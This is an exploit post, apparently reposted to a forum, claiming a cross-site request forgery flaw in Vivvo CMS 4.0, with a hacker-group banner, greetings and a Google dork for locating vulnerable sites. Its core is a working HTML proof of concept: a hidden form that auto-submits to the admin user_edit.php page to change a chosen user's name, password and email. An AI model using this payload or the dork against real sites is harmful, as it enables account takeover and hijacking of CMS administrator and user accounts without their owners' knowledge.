Re: Vivvo Cms 4.0 Csrf Bug (Change Profile Information)

[S_e_YM_e_N]

################################################## #######################
#________######________________#
#
#______##########______________#
#
#_____#############____________#
#
#____##############____________#
#
#___#######______###___________#
#
#___######________##__##_______#Author :S_e_YM_e_N
#
#___######____________###______#Home :www.seymen.org
#
#___#####_S_e_YM_e_N_######___#Mail :msn[at]seymen.org
#
#___#####____________#######___#Group :Turkish Siber Askerler
Tim #
#___#####___________#######____#Critical :High
#
#___#####____________######____#Script :Vivvo Cms
4.0 #
#___#####_1.Security__######_____#Method :Post
#
#___######____________###_##___#Download :www.vivvo.net
#
#____######_______#__##________#Type :Csrf
(Xsrf) #
#____#######____###____________#Site
Home:www.siberaskerler.org #
#_____############_____________#Mp3 :www.seymen.org/mp3/
onlar.mp3 #
#______##########______________#Target :Change Profile
Information #
#________######________________#
#
#---------Bismillahirrahmanirrahim--------
#
#
################################################## #######################
#
#
# Google Dork : "Powered by Vivvo CMS
v4.0" #
#
#
#
#
################################################## ##########################
#EXPLOIT :
#
#
#
<seymen><html><body>
#
# <form action="http://www.targetsite.com/admin/user_edit.php?
search_id=typehereuserid" method="post" enctype="multipart/form-data">
# <input type="hidden" name="action" value="user" /
>
# <input type="hidden" name="cmd" value="edit" /
>
# <input type="hidden" name="USER_id" value="typehereuserid" /
>
# <input type="text" class="text" name="USER_first_name"
value="typenewusernamehere" /
>
# <input type="password" class="text" name="USER_password"
value="typeusernewpasswordhere" /
>
# <input type="password" class="text" name="USER_retype_password"
value="typeusernewpasswordhere" />
# <input type="text" class="text" name="USER_email_address"
value="typenewemail@adresshere.com" /
>
# <script>document.forms[0].submit() </script></
form>
# </body></html></
seymen>
#
#
################################################## #######################
#
S_e_YM_e_N #
# Sultan Of Rosses Our Prophet Muhammed Mustafa
(sav) #
################################################## #######################
# Greetz
To: #
# Ustata,nadir_pier0, Cr4zyd3v1l, Secret, 3fe, DaRKHuNTeR,
CyberTurk,Ss3s #
################################################## #######################